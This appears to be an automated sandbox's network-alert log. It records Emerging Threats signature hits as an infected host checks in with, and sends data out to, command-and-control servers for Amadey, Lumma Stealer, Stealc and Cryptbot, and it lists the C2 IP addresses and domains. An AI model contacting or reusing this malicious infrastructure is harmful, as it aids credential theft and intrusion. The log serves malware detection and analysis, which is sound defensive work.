                                                                                                                                                                                                                                                            2024-12-19T01:09:05.411028+01002856147ETPRO MALWARE Amadey CnC Activity M31192.168.2.549789185.215.113.4380TCP
                                                                                                                                                                                                                                                            2024-12-19T01:09:10.264773+01002803305ETPRO MALWARE Common Downloader Header Pattern H3192.168.2.54980131.41.244.1180TCP
                                                                                                                                                                                                                                                            2024-12-19T01:09:19.706394+01002856122ETPRO MALWARE Amadey CnC Response M11185.215.113.4380192.168.2.549795TCP
                                                                                                                                                                                                                                                            2024-12-19T01:09:21.169668+01002044696ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M21192.168.2.549828185.215.113.4380TCP
                                                                                                                                                                                                                                                            2024-12-19T01:09:22.615531+01002803305ETPRO MALWARE Common Downloader Header Pattern H3192.168.2.54983431.41.244.1180TCP
                                                                                                                                                                                                                                                            2024-12-19T01:09:31.192582+01002028371ET JA3 Hash - Possible Malware - Fake Firefox Font Update3192.168.2.549855104.21.12.88443TCP
                                                                                                                                                                                                                                                            2024-12-19T01:09:31.665591+01002044696ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M21192.168.2.549856185.215.113.4380TCP
                                                                                                                                                                                                                                                            2024-12-19T01:09:31.933855+01002049836ET MALWARE Lumma Stealer Related Activity1192.168.2.549855104.21.12.88443TCP
                                                                                                                                                                                                                                                            2024-12-19T01:09:31.933855+01002054653ET MALWARE Lumma Stealer CnC Host Checkin1192.168.2.549855104.21.12.88443TCP
                                                                                                                                                                                                                                                            2024-12-19T01:09:33.115972+01002803305ETPRO MALWARE Common Downloader Header Pattern H3192.168.2.54986131.41.244.1180TCP
                                                                                                                                                                                                                                                            2024-12-19T01:09:33.162273+01002028371ET JA3 Hash - Possible Malware - Fake Firefox Font Update3192.168.2.549863104.21.12.88443TCP
                                                                                                                                                                                                                                                            2024-12-19T01:09:33.904605+01002049812ET MALWARE Lumma Stealer Related Activity M21192.168.2.549863104.21.12.88443TCP
                                                                                                                                                                                                                                                            2024-12-19T01:09:33.904605+01002054653ET MALWARE Lumma Stealer CnC Host Checkin1192.168.2.549863104.21.12.88443TCP
                                                                                                                                                                                                                                                            2024-12-19T01:09:35.420300+01002028371ET JA3 Hash - Possible Malware - Fake Firefox Font Update3192.168.2.549868104.21.12.88443TCP
                                                                                                                                                                                                                                                            2024-12-19T01:09:37.479442+01002028371ET JA3 Hash - Possible Malware - Fake Firefox Font Update3192.168.2.549874104.21.12.88443TCP
                                                                                                                                                                                                                                                            2024-12-19T01:09:39.543820+01002028371ET JA3 Hash - Possible Malware - Fake Firefox Font Update3192.168.2.549879104.21.12.88443TCP
                                                                                                                                                                                                                                                            2024-12-19T01:09:42.082702+01002028371ET JA3 Hash - Possible Malware - Fake Firefox Font Update3192.168.2.549886104.21.12.88443TCP
                                                                                                                                                                                                                                                            2024-12-19T01:09:43.095906+01002048094ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration1192.168.2.549886104.21.12.88443TCP
                                                                                                                                                                                                                                                            2024-12-19T01:09:44.157782+01002044696ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M21192.168.2.549893185.215.113.4380TCP
                                                                                                                                                                                                                                                            2024-12-19T01:09:44.867076+01002028371ET JA3 Hash - Possible Malware - Fake Firefox Font Update3192.168.2.549895104.21.12.88443TCP
                                                                                                                                                                                                                                                            2024-12-19T01:09:44.871571+01002843864ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M21192.168.2.549895104.21.12.88443TCP
                                                                                                                                                                                                                                                            2024-12-19T01:09:45.608626+01002803305ETPRO MALWARE Common Downloader Header Pattern H3192.168.2.549896185.215.113.1680TCP
                                                                                                                                                                                                                                                            2024-12-19T01:09:48.677859+01002028371ET JA3 Hash - Possible Malware - Fake Firefox Font Update3192.168.2.549907104.21.12.88443TCP
                                                                                                                                                                                                                                                            2024-12-19T01:09:49.394302+01002054653ET MALWARE Lumma Stealer CnC Host Checkin1192.168.2.549907104.21.12.88443TCP
                                                                                                                                                                                                                                                            2024-12-19T01:09:49.956328+01002058378ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (sweepyribs .lat)1192.168.2.5628761.1.1.153UDP
                                                                                                                                                                                                                                                            2024-12-19T01:09:50.262312+01002058364ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (grannyejh .lat)1192.168.2.5530901.1.1.153UDP
                                                                                                                                                                                                                                                            2024-12-19T01:09:51.876103+01002058365ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI)1192.168.2.549915172.67.179.109443TCP
                                                                                                                                                                                                                                                            2024-12-19T01:09:51.876103+01002028371ET JA3 Hash - Possible Malware - Fake Firefox Font Update3192.168.2.549915172.67.179.109443TCP
                                                                                                                                                                                                                                                            2024-12-19T01:09:52.444035+01002044696ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M21192.168.2.549917185.215.113.4380TCP
                                                                                                                                                                                                                                                            2024-12-19T01:09:52.684327+01002049836ET MALWARE Lumma Stealer Related Activity1192.168.2.549915172.67.179.109443TCP
                                                                                                                                                                                                                                                            2024-12-19T01:09:52.684327+01002054653ET MALWARE Lumma Stealer CnC Host Checkin1192.168.2.549915172.67.179.109443TCP
                                                                                                                                                                                                                                                            2024-12-19T01:09:53.894954+01002803305ETPRO MALWARE Common Downloader Header Pattern H3192.168.2.549922185.215.113.1680TCP
                                                                                                                                                                                                                                                            2024-12-19T01:09:53.915779+01002058365ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI)1192.168.2.549923172.67.179.109443TCP
                                                                                                                                                                                                                                                            2024-12-19T01:09:53.915779+01002028371ET JA3 Hash - Possible Malware - Fake Firefox Font Update3192.168.2.549923172.67.179.109443TCP
                                                                                                                                                                                                                                                            2024-12-19T01:09:54.728285+01002049812ET MALWARE Lumma Stealer Related Activity M21192.168.2.549923172.67.179.109443TCP
                                                                                                                                                                                                                                                            2024-12-19T01:09:54.728285+01002054653ET MALWARE Lumma Stealer CnC Host Checkin1192.168.2.549923172.67.179.109443TCP
                                                                                                                                                                                                                                                            2024-12-19T01:09:56.578661+01002058365ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI)1192.168.2.549929172.67.179.109443TCP
                                                                                                                                                                                                                                                            2024-12-19T01:09:56.578661+01002028371ET JA3 Hash - Possible Malware - Fake Firefox Font Update3192.168.2.549929172.67.179.109443TCP
                                                                                                                                                                                                                                                            2024-12-19T01:09:57.480943+01002048094ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration1192.168.2.549929172.67.179.109443TCP
                                                                                                                                                                                                                                                            2024-12-19T01:09:59.102836+01002058365ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI)1192.168.2.549937172.67.179.109443TCP
                                                                                                                                                                                                                                                            2024-12-19T01:09:59.102836+01002028371ET JA3 Hash - Possible Malware - Fake Firefox Font Update3192.168.2.549937172.67.179.109443TCP
                                                                                                                                                                                                                                                            2024-12-19T01:10:02.007040+01002058365ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI)1192.168.2.549946172.67.179.109443TCP
                                                                                                                                                                                                                                                            2024-12-19T01:10:02.007040+01002028371ET JA3 Hash - Possible Malware - Fake Firefox Font Update3192.168.2.549946172.67.179.109443TCP
                                                                                                                                                                                                                                                            2024-12-19T01:10:02.674469+01002044243ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in1192.168.2.549945185.215.113.20680TCP
                                                                                                                                                                                                                                                            2024-12-19T01:10:02.772170+01002044696ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M21192.168.2.549948185.215.113.4380TCP
                                                                                                                                                                                                                                                            2024-12-19T01:10:03.111549+01002044244ET MALWARE Win32/Stealc Requesting browsers Config from C21192.168.2.549945185.215.113.20680TCP
                                                                                                                                                                                                                                                            2024-12-19T01:10:03.296833+01002058378ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (sweepyribs .lat)1192.168.2.5530451.1.1.153UDP
                                                                                                                                                                                                                                                            2024-12-19T01:10:03.425105+01002044245ET MALWARE Win32/Stealc Active C2 Responding with browsers Config1185.215.113.20680192.168.2.549945TCP
                                                                                                                                                                                                                                                            2024-12-19T01:10:03.741488+01002044246ET MALWARE Win32/Stealc Requesting plugins Config from C21192.168.2.549945185.215.113.20680TCP
                                                                                                                                                                                                                                                            2024-12-19T01:10:03.901240+01002044247ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config1185.215.113.20680192.168.2.549945TCP
                                                                                                                                                                                                                                                            2024-12-19T01:10:04.222380+01002803305ETPRO MALWARE Common Downloader Header Pattern H3192.168.2.549952185.215.113.1680TCP
                                                                                                                                                                                                                                                            2024-12-19T01:10:04.670784+01002058365ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI)1192.168.2.549955172.67.179.109443TCP
                                                                                                                                                                                                                                                            2024-12-19T01:10:04.670784+01002028371ET JA3 Hash - Possible Malware - Fake Firefox Font Update3192.168.2.549955172.67.179.109443TCP
                                                                                                                                                                                                                                                            2024-12-19T01:10:05.261176+01002044248ET MALWARE Win32/Stealc Submitting System Information to C21192.168.2.549945185.215.113.20680TCP
                                                                                                                                                                                                                                                            2024-12-19T01:10:05.339152+01002049836ET MALWARE Lumma Stealer Related Activity1192.168.2.549955172.67.179.109443TCP
                                                                                                                                                                                                                                                            2024-12-19T01:10:05.339152+01002054653ET MALWARE Lumma Stealer CnC Host Checkin1192.168.2.549955172.67.179.109443TCP
                                                                                                                                                                                                                                                            2024-12-19T01:10:06.125533+01002803304ETPRO MALWARE Common Downloader Header Pattern HCa3192.168.2.549945185.215.113.20680TCP
                                                                                                                                                                                                                                                            2024-12-19T01:10:06.600721+01002058365ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI)1192.168.2.549960172.67.179.109443TCP
                                                                                                                                                                                                                                                            2024-12-19T01:10:06.600721+01002028371ET JA3 Hash - Possible Malware - Fake Firefox Font Update3192.168.2.549960172.67.179.109443TCP
                                                                                                                                                                                                                                                            2024-12-19T01:10:07.778287+01002049812ET MALWARE Lumma Stealer Related Activity M21192.168.2.549960172.67.179.109443TCP
                                                                                                                                                                                                                                                            2024-12-19T01:10:07.778287+01002054653ET MALWARE Lumma Stealer CnC Host Checkin1192.168.2.549960172.67.179.109443TCP
                                                                                                                                                                                                                                                            2024-12-19T01:10:08.639148+01002058365ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI)1192.168.2.549965172.67.179.109443TCP
                                                                                                                                                                                                                                                            2024-12-19T01:10:08.639148+01002028371ET JA3 Hash - Possible Malware - Fake Firefox Font Update3192.168.2.549965172.67.179.109443TCP
                                                                                                                                                                                                                                                            2024-12-19T01:10:09.957954+01002044696ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M21192.168.2.549967185.215.113.4380TCP
                                                                                                                                                                                                                                                            2024-12-19T01:10:11.811912+01002803305ETPRO MALWARE Common Downloader Header Pattern H3192.168.2.549978185.215.113.1680TCP
                                                                                                                                                                                                                                                            2024-12-19T01:10:12.569915+01002058365ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI)1192.168.2.549983172.67.179.109443TCP
                                                                                                                                                                                                                                                            2024-12-19T01:10:12.569915+01002028371ET JA3 Hash - Possible Malware - Fake Firefox Font Update3192.168.2.549983172.67.179.109443TCP
                                                                                                                                                                                                                                                            2024-12-19T01:10:12.753674+01002058378ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (sweepyribs .lat)1192.168.2.5551461.1.1.153UDP
                                                                                                                                                                                                                                                            2024-12-19T01:10:13.984183+01002058365ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI)1192.168.2.549987172.67.179.109443TCP
                                                                                                                                                                                                                                                            2024-12-19T01:10:13.984183+01002028371ET JA3 Hash - Possible Malware - Fake Firefox Font Update3192.168.2.549987172.67.179.109443TCP
                                                                                                                                                                                                                                                            2024-12-19T01:10:13.989581+01002843864ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M21192.168.2.549987172.67.179.109443TCP
                                                                                                                                                                                                                                                            2024-12-19T01:10:14.119950+01002058365ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI)1192.168.2.549988172.67.179.109443TCP
                                                                                                                                                                                                                                                            2024-12-19T01:10:14.119950+01002028371ET JA3 Hash - Possible Malware - Fake Firefox Font Update3192.168.2.549988172.67.179.109443TCP
                                                                                                                                                                                                                                                            2024-12-19T01:10:15.073046+01002058365ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI)1192.168.2.549993172.67.179.109443TCP
                                                                                                                                                                                                                                                            2024-12-19T01:10:15.073046+01002028371ET JA3 Hash - Possible Malware - Fake Firefox Font Update3192.168.2.549993172.67.179.109443TCP
                                                                                                                                                                                                                                                            2024-12-19T01:10:15.229479+01002049836ET MALWARE Lumma Stealer Related Activity1192.168.2.549988172.67.179.109443TCP
                                                                                                                                                                                                                                                            2024-12-19T01:10:15.229479+01002054653ET MALWARE Lumma Stealer CnC Host Checkin1192.168.2.549988172.67.179.109443TCP
                                                                                                                                                                                                                                                            2024-12-19T01:10:16.121254+01002054350ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M41192.168.2.549994185.185.71.17080TCP
                                                                                                                                                                                                                                                            2024-12-19T01:10:16.481942+01002058365ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI)1192.168.2.549999172.67.179.109443TCP
                                                                                                                                                                                                                                                            2024-12-19T01:10:16.481942+01002028371ET JA3 Hash - Possible Malware - Fake Firefox Font Update3192.168.2.549999172.67.179.109443TCP
                                                                                                                                                                                                                                                            2024-12-19T01:10:17.120560+01002856121ETPRO MALWARE Amadey CnC Activity M21192.168.2.550002185.215.113.4380TCP
                                                                                                                                                                                                                                                            2024-12-19T01:10:17.295246+01002049812ET MALWARE Lumma Stealer Related Activity M21192.168.2.549999172.67.179.109443TCP
                                                                                                                                                                                                                                                            2024-12-19T01:10:17.295246+01002054653ET MALWARE Lumma Stealer CnC Host Checkin1192.168.2.549999172.67.179.109443TCP
                                                                                                                                                                                                                                                            2024-12-19T01:10:17.970074+01002058365ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI)1192.168.2.550006172.67.179.109443TCP
                                                                                                                                                                                                                                                            2024-12-19T01:10:17.970074+01002028371ET JA3 Hash - Possible Malware - Fake Firefox Font Update3192.168.2.550006172.67.179.109443TCP
                                                                                                                                                                                                                                                            2024-12-19T01:10:18.434981+01002058365ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI)1192.168.2.550011172.67.179.109443TCP
                                                                                                                                                                                                                                                            2024-12-19T01:10:18.434981+01002028371ET JA3 Hash - Possible Malware - Fake Firefox Font Update3192.168.2.550011172.67.179.109443TCP
                                                                                                                                                                                                                                                            2024-12-19T01:10:18.611371+01002803305ETPRO MALWARE Common Downloader Header Pattern H3192.168.2.55001031.41.244.1180TCP
                                                                                                                                                                                                                                                            2024-12-19T01:10:18.997205+01002054653ET MALWARE Lumma Stealer CnC Host Checkin1192.168.2.550006172.67.179.109443TCP
                                                                                                                                                                                                                                                            2024-12-19T01:10:21.307868+01002019714ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile2192.168.2.550017185.215.113.1680TCP
                                                                                                                                                                                                                                                            2024-12-19T01:10:21.429421+01002054350ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M41192.168.2.550019185.185.71.17080TCP
                                                                                                                                                                                                                                                            2024-12-19T01:10:24.101770+01002044696ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M21192.168.2.550050185.215.113.4380TCP
                                                                                                                                                                                                                                                            2024-12-19T01:10:24.986571+01002058397ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (pancakedipyps .click)1192.168.2.5565621.1.1.153UDP
                                                                                                                                                                                                                                                            2024-12-19T01:10:25.187226+01002058397ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (pancakedipyps .click)1192.168.2.5565621.1.1.153UDP
                                                                                                                                                                                                                                                            2024-12-19T01:10:25.626569+01002803305ETPRO MALWARE Common Downloader Header Pattern H3192.168.2.55006231.41.244.1180TCP
                                                                                                                                                                                                                                                            2024-12-19T01:10:26.565731+01002058398ET MALWARE Observed Win32/Lumma Stealer Related Domain (pancakedipyps .click in TLS SNI)1192.168.2.550071104.21.23.76443TCP
                                                                                                                                                                                                                                                            2024-12-19T01:10:26.565731+01002028371ET JA3 Hash - Possible Malware - Fake Firefox Font Update3192.168.2.550071104.21.23.76443TCP
                                                                                                                                                                                                                                                            2024-12-19T01:10:26.889991+01002058365ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI)1192.168.2.550072172.67.179.109443TCP
                                                                                                                                                                                                                                                            2024-12-19T01:10:26.889991+01002028371ET JA3 Hash - Possible Malware - Fake Firefox Font Update3192.168.2.550072172.67.179.109443TCP
                                                                                                                                                                                                                                                            2024-12-19T01:10:27.270935+01002049836ET MALWARE Lumma Stealer Related Activity1192.168.2.550071104.21.23.76443TCP
                                                                                                                                                                                                                                                            2024-12-19T01:10:27.270935+01002054653ET MALWARE Lumma Stealer CnC Host Checkin1192.168.2.550071104.21.23.76443TCP
                                                                                                                                                                                                                                                            2024-12-19T01:10:27.727853+01002048094ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration1192.168.2.550072172.67.179.109443TCP
                                                                                                                                                                                                                                                            2024-12-19T01:10:28.498099+01002058398ET MALWARE Observed Win32/Lumma Stealer Related Domain (pancakedipyps .click in TLS SNI)1192.168.2.550078104.21.23.76443TCP
                                                                                                                                                                                                                                                            2024-12-19T01:10:28.498099+01002028371ET JA3 Hash - Possible Malware - Fake Firefox Font Update3192.168.2.550078104.21.23.76443TCP
                                                                                                                                                                                                                                                            2024-12-19T01:10:29.383763+01002049812ET MALWARE Lumma Stealer Related Activity M21192.168.2.550078104.21.23.76443TCP
                                                                                                                                                                                                                                                            2024-12-19T01:10:29.383763+01002054653ET MALWARE Lumma Stealer CnC Host Checkin1192.168.2.550078104.21.23.76443TCP
                                                                                                                                                                                                                                                            2024-12-19T01:10:29.442142+01002054350ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M41192.168.2.550080185.185.71.17080TCP
                                                                                                                                                                                                                                                            2024-12-19T01:10:29.788068+01002058365ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI)1192.168.2.550081172.67.179.109443TCP
                                                                                                                                                                                                                                                            2024-12-19T01:10:29.788068+01002028371ET JA3 Hash - Possible Malware - Fake Firefox Font Update3192.168.2.550081172.67.179.109443TCP
                                                                                                                                                                                                                                                            2024-12-19T01:10:30.787957+01002843864ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M21192.168.2.550081172.67.179.109443TCP
                                                                                                                                                                                                                                                            2024-12-19T01:10:31.259783+01002058365ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI)1192.168.2.550087172.67.179.109443TCP
                                                                                                                                                                                                                                                            2024-12-19T01:10:31.259783+01002028371ET JA3 Hash - Possible Malware - Fake Firefox Font Update3192.168.2.550087172.67.179.109443TCP
                                                                                                                                                                                                                                                            2024-12-19T01:10:31.658136+01002058398ET MALWARE Observed Win32/Lumma Stealer Related Domain (pancakedipyps .click in TLS SNI)1192.168.2.550084104.21.23.76443TCP
                                                                                                                                                                                                                                                            2024-12-19T01:10:31.658136+01002028371ET JA3 Hash - Possible Malware - Fake Firefox Font Update3192.168.2.550084104.21.23.76443TCP
                                                                                                                                                                                                                                                            2024-12-19T01:10:31.817272+01002028371ET JA3 Hash - Possible Malware - Fake Firefox Font Update3192.168.2.550085104.21.91.209443TCP
                                                                                                                                                                                                                                                            2024-12-19T01:10:32.038998+01002058365ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI)1192.168.2.550088172.67.179.109443TCP
                                                                                                                                                                                                                                                            2024-12-19T01:10:32.038998+01002028371ET JA3 Hash - Possible Malware - Fake Firefox Font Update3192.168.2.550088172.67.179.109443TCP
                                                                                                                                                                                                                                                            2024-12-19T01:10:32.542376+01002049836ET MALWARE Lumma Stealer Related Activity1192.168.2.550085104.21.91.209443TCP
                                                                                                                                                                                                                                                            2024-12-19T01:10:32.542376+01002054653ET MALWARE Lumma Stealer CnC Host Checkin1192.168.2.550085104.21.91.209443TCP
                                                                                                                                                                                                                                                            2024-12-19T01:10:32.973062+01002044696ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M21192.168.2.550090185.215.113.4380TCP
                                                                                                                                                                                                                                                            2024-12-19T01:10:33.770212+01002028371ET JA3 Hash - Possible Malware - Fake Firefox Font Update3192.168.2.550091104.21.91.209443TCP
                                                                                                                                                                                                                                                            2024-12-19T01:10:33.890254+01002058398ET MALWARE Observed Win32/Lumma Stealer Related Domain (pancakedipyps .click in TLS SNI)1192.168.2.550092104.21.23.76443TCP
                                                                                                                                                                                                                                                            2024-12-19T01:10:33.890254+01002028371ET JA3 Hash - Possible Malware - Fake Firefox Font Update3192.168.2.550092104.21.23.76443TCP
                                                                                                                                                                                                                                                            2024-12-19T01:10:34.160971+01002058365ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI)1192.168.2.550093172.67.179.109443TCP
                                                                                                                                                                                                                                                            2024-12-19T01:10:34.160971+01002028371ET JA3 Hash - Possible Malware - Fake Firefox Font Update3192.168.2.550093172.67.179.109443TCP
                                                                                                                                                                                                                                                            2024-12-19T01:10:34.422648+01002803305ETPRO MALWARE Common Downloader Header Pattern H3192.168.2.55009431.41.244.1180TCP
                                                                                                                                                                                                                                                            2024-12-19T01:10:34.511447+01002049812ET MALWARE Lumma Stealer Related Activity M21192.168.2.550091104.21.91.209443TCP
                                                                                                                                                                                                                                                            2024-12-19T01:10:34.511447+01002054653ET MALWARE Lumma Stealer CnC Host Checkin1192.168.2.550091104.21.91.209443TCP
                                                                                                                                                                                                                                                            2024-12-19T01:10:35.092812+01002048094ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration1192.168.2.550092104.21.23.76443TCP
                                                                                                                                                                                                                                                            2024-12-19T01:10:36.425913+01002058398ET MALWARE Observed Win32/Lumma Stealer Related Domain (pancakedipyps .click in TLS SNI)1192.168.2.550097104.21.23.76443TCP
                                                                                                                                                                                                                                                            2024-12-19T01:10:36.425913+01002028371ET JA3 Hash - Possible Malware - Fake Firefox Font Update3192.168.2.550097104.21.23.76443TCP
                                                                                                                                                                                                                                                            2024-12-19T01:10:36.426108+01002058365ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI)1192.168.2.550096172.67.179.109443TCP
                                                                                                                                                                                                                                                            2024-12-19T01:10:36.426108+01002028371ET JA3 Hash - Possible Malware - Fake Firefox Font Update3192.168.2.550096172.67.179.109443TCP
                                                                                                                                                                                                                                                            2024-12-19T01:10:36.456143+01002803304ETPRO MALWARE Common Downloader Header Pattern HCa3192.168.2.550095185.215.113.20680TCP
                                                                                                                                                                                                                                                            2024-12-19T01:10:38.676943+01002058398ET MALWARE Observed Win32/Lumma Stealer Related Domain (pancakedipyps .click in TLS SNI)1192.168.2.550098104.21.23.76443TCP
                                                                                                                                                                                                                                                            2024-12-19T01:10:38.676943+01002028371ET JA3 Hash - Possible Malware - Fake Firefox Font Update3192.168.2.550098104.21.23.76443TCP
                                                                                                                                                                                                                                                            2024-12-19T01:10:38.676960+01002028371ET JA3 Hash - Possible Malware - Fake Firefox Font Update3192.168.2.550099104.21.91.209443TCP
                                                                                                                                                                                                                                                            2024-12-19T01:10:38.677214+01002058365ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI)1192.168.2.550100172.67.179.109443TCP
                                                                                                                                                                                                                                                            2024-12-19T01:10:38.677214+01002028371ET JA3 Hash - Possible Malware - Fake Firefox Font Update3192.168.2.550100172.67.179.109443TCP
                                                                                                                                                                                                                                                            2024-12-19T01:10:38.754812+01002803304ETPRO MALWARE Common Downloader Header Pattern HCa3192.168.2.550095185.215.113.20680TCP
                                                                                                                                                                                                                                                            2024-12-19T01:10:39.553571+01002048094ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration1192.168.2.550099104.21.91.209443TCP
                                                                                                                                                                                                                                                            2024-12-19T01:10:40.338554+01002028371ET JA3 Hash - Possible Malware - Fake Firefox Font Update3192.168.2.550102104.21.67.146443TCP
                                                                                                                                                                                                                                                            2024-12-19T01:10:40.399084+01002803304ETPRO MALWARE Common Downloader Header Pattern HCa3192.168.2.550095185.215.113.20680TCP
                                                                                                                                                                                                                                                            2024-12-19T01:10:40.799238+01002028371ET JA3 Hash - Possible Malware - Fake Firefox Font Update3192.168.2.550103104.21.91.209443TCP
                                                                                                                                                                                                                                                            2024-12-19T01:10:41.314003+01002049836ET MALWARE Lumma Stealer Related Activity1192.168.2.550102104.21.67.146443TCP
                                                                                                                                                                                                                                                            2024-12-19T01:10:41.314003+01002054653ET MALWARE Lumma Stealer CnC Host Checkin1192.168.2.550102104.21.67.146443TCP
                                                                                                                                                                                                                                                            2024-12-19T01:10:41.394716+01002058398ET MALWARE Observed Win32/Lumma Stealer Related Domain (pancakedipyps .click in TLS SNI)1192.168.2.550104104.21.23.76443TCP
                                                                                                                                                                                                                                                            2024-12-19T01:10:41.394716+01002028371ET JA3 Hash - Possible Malware - Fake Firefox Font Update3192.168.2.550104104.21.23.76443TCP
                                                                                                                                                                                                                                                            2024-12-19T01:10:41.593003+01002058365ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI)1192.168.2.550106172.67.179.109443TCP
                                                                                                                                                                                                                                                            2024-12-19T01:10:41.593003+01002028371ET JA3 Hash - Possible Malware - Fake Firefox Font Update3192.168.2.550106172.67.179.109443TCP
                                                                                                                                                                                                                                                            2024-12-19T01:10:41.637085+01002044696ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M21192.168.2.550105185.215.113.4380TCP
                                                                                                                                                                                                                                                            2024-12-19T01:10:41.842418+01002803304ETPRO MALWARE Common Downloader Header Pattern HCa3192.168.2.550095185.215.113.20680TCP
                                                                                                                                                                                                                                                            2024-12-19T01:10:42.486001+01002843864ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M21192.168.2.550106172.67.179.109443TCP
                                                                                                                                                                                                                                                            2024-12-19T01:10:42.540910+01002028371ET JA3 Hash - Possible Malware - Fake Firefox Font Update3192.168.2.550107104.21.67.146443TCP
                                                                                                                                                                                                                                                            2024-12-19T01:10:43.006502+01002843864ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M21192.168.2.550104104.21.23.76443TCP
                                                                                                                                                                                                                                                            2024-12-19T01:10:43.085468+01002803305ETPRO MALWARE Common Downloader Header Pattern H3192.168.2.55010831.41.244.1180TCP
                                                                                                                                                                                                                                                            2024-12-19T01:10:43.315006+01002028371ET JA3 Hash - Possible Malware - Fake Firefox Font Update3192.168.2.550109104.21.91.209443TCP
                                                                                                                                                                                                                                                            2024-12-19T01:10:43.412432+01002049812ET MALWARE Lumma Stealer Related Activity M21192.168.2.550107104.21.67.146443TCP
                                                                                                                                                                                                                                                            2024-12-19T01:10:43.412432+01002054653ET MALWARE Lumma Stealer CnC Host Checkin1192.168.2.550107104.21.67.146443TCP
                                                                                                                                                                                                                                                            2024-12-19T01:10:43.733705+01002058365ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI)1192.168.2.550110172.67.179.109443TCP
                                                                                                                                                                                                                                                            2024-12-19T01:10:43.733705+01002028371ET JA3 Hash - Possible Malware - Fake Firefox Font Update3192.168.2.550110172.67.179.109443TCP
                                                                                                                                                                                                                                                            2024-12-19T01:10:44.407570+01002058398ET MALWARE Observed Win32/Lumma Stealer Related Domain (pancakedipyps .click in TLS SNI)1192.168.2.550111104.21.23.76443TCP
                                                                                                                                                                                                                                                            2024-12-19T01:10:44.407570+01002028371ET JA3 Hash - Possible Malware - Fake Firefox Font Update3192.168.2.550111104.21.23.76443TCP
                                                                                                                                                                                                                                                            2024-12-19T01:10:44.564173+01002054653ET MALWARE Lumma Stealer CnC Host Checkin1192.168.2.550110172.67.179.109443TCP
                                                                                                                                                                                                                                                            2024-12-19T01:10:45.384543+01002054653ET MALWARE Lumma Stealer CnC Host Checkin1192.168.2.550111104.21.23.76443TCP
                                                                                                                                                                                                                                                            2024-12-19T01:10:45.591319+01002803304ETPRO MALWARE Common Downloader Header Pattern HCa3192.168.2.550095185.215.113.20680TCP
                                                                                                                                                                                                                                                            2024-12-19T01:10:45.675245+01002028371ET JA3 Hash - Possible Malware - Fake Firefox Font Update3192.168.2.550112104.21.67.146443TCP
                                                                                                                                                                                                                                                            2024-12-19T01:10:45.675336+01002028371ET JA3 Hash - Possible Malware - Fake Firefox Font Update3192.168.2.550113104.21.91.209443TCP
                                                                                                                                                                                                                                                            2024-12-19T01:10:46.035998+01002019714ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile2192.168.2.550114185.215.113.1680TCP
                                                                                                                                                                                                                                                            2024-12-19T01:10:46.501682+01002048094ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration1192.168.2.550112104.21.67.146443TCP
